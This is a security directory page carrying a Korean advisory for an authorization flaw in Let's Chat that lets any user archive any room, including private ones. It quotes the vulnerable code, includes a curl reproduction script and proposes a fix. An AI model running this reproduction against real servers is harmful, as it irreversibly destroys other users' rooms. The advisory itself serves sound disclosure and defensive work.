Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat- — 보안 권고: 불충분한 접근 제어로 승인되지 않은 방 삭제가 가능함 (Let's Chat) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-
Authentication & AuthorizationVulnerability AnalysisCode AnalysisWeb SecurityLearning & Education
GitHubtheopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

보안 권고: 불충분한 접근 제어로 승인되지 않은 방 삭제가 가능함 (Let's Chat)

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
22일 전아직 검토되지 않음

보안 권고: 불충분한 접근 제어로 인한 무단 방 삭제 허용 (Let's Chat)

할당된 CVE ID: CVE-2026-66751

요약

DELETE /rooms/:room는 로그인 요구 외에는 어떠한 권한 검사도 수행하지 않습니다. 어떤 계정이든 서버의 모든 방을 보관 처리할 수 있으며, 해당 계정이 읽거나, 참여하거나, 수정할 수 없는 비공개 및 비밀번호 보호 방도 포함됩니다.

보관(archiving)은 Let's Chat에서 방을 삭제하는 방식입니다. 방은 방 목록에서 사라지고, 직접 조회하면 404를 반환하며, 해당 방에 메시지를 게시하거나 파일을 업로드하는 것은 거부됩니다. 이를 되돌리는 코드 경로는 애플리케이션에 존재하지 않습니다.

영향받는 버전

저장소 URL: https://github.com/sdelements/lets-chat

0.3.0(커밋 5b5f46f, 2015년 1월 2일, "방은 삭제되는 대신 보관됩니다")부터 마지막 릴리스인 0.4.8까지 취약합니다. 수정 버전은 존재하지 않습니다.

비공개 및 비밀번호 보호 방은 0.4.0에서 도입되었으므로, 공격자가 내용을 볼 수 없는 방을 파괴하는 경우는 0.4.0부터 적용됩니다. 누락된 검사 자체는 0.3.0부터 존재합니다.

0.4.8의 커밋 617207f 및 docker.io/sdelements/lets-chat:latest(0.4.7)에서 확인되었습니다.

분류

CWE-862: 누락된 권한 부여.

CVSS 4.0 기본 점수 5.3(보통) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

위협 모델

공격자는 일반 사용자 계정 하나와 HTTP 포트에 대한 네트워크 접근 권한만 있으면 됩니다. 방을 소유하거나, 그 방의 구성원이거나, 비밀번호를 알거나, 상승된 역할을 보유할 필요는 없습니다. 자체 등록은 기본적으로 활성화되어 있습니다(defaults.yml의 auth.local.enableRegistration).

대상 선택에는 비용이 들지 않습니다. GET /rooms는 설계상 모든 사용자에게 비밀번호 보호 방을 나열하므로, 공격자는 전체 방 id 목록을 읽고 각각을 차례로 보관 처리할 수 있습니다.

기술적 세부 사항

이 라우트는 로그인을 요구하고 방을 확인할 뿐이며, 그 이상은 없습니다. app/controllers/rooms.js:99-109:

root@kitploit:~
app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

이 핸들러는 방 id만 하위 계층으로 전달합니다. req.user는 전혀 확인하지 않습니다. app/controllers/rooms.js:217-232:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

매니저는 사용자 인자를 받지 않으므로, 원칙적으로도 소유권을 검사할 수 없습니다. app/core/rooms.js:123-137:

root@kitploit:~
RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

인접한 업데이트 경로는 소유권을 검사합니다. 이 때문에 이 문제는 의도적인 선택이 아니라 실수로 보입니다. app/core/rooms.js:89-91:

root@kitploit:~
if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

클라이언트도 더 엄격한 해석과 일치합니다. media/js/views/room.js:28-31은 편집 컨트롤을 누가 볼지 결정하며, 방 보관(Archive Room) 버튼은 이 컨트롤이 여는 편집 모달 안에 있습니다:

root@kitploit:~
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

비밀번호 보호 방의 경우 소유자가 아니면 버튼이 표시되지 않습니다. 이 제한은 브라우저에서만 존재합니다.

재현

rooms.private: true(또는 LCB_ROOMS_PRIVATE=true)가 설정되어 있어야 비공개 방을 만들 수 있습니다. 누락된 검사 자체는 해당 설정과 관계없이 모든 방에 적용됩니다.

root@kitploit:~
BASE=http://localhost:5000

# Two unrelated accounts.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id from the response above>

# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

영향

요청 이후 해당 방은 모든 사용자의 GET /rooms 목록에서 사라지고, GET /rooms/:id는 404를 반환하며, messages:create와 files:create는 이를 거부합니다 (app/core/messages.js:28-30, app/core/files.js:55-57). app/ 어디에도 archived를 false로 되돌리는 코드는 없으므로, 복구에는 직접 데이터베이스 접근이 필요합니다.

제안된 수정 사항

호출자를 매니저에 전달하고, update가 이미 수행하는 것과 동일하게 보관 전에 소유권을 검사하십시오. app/controllers/rooms.js:217에서:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

그리고 app/core/rooms.js:123의 if (!room) 검사 이후에:

root@kitploit:~
if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}
도구 다운로드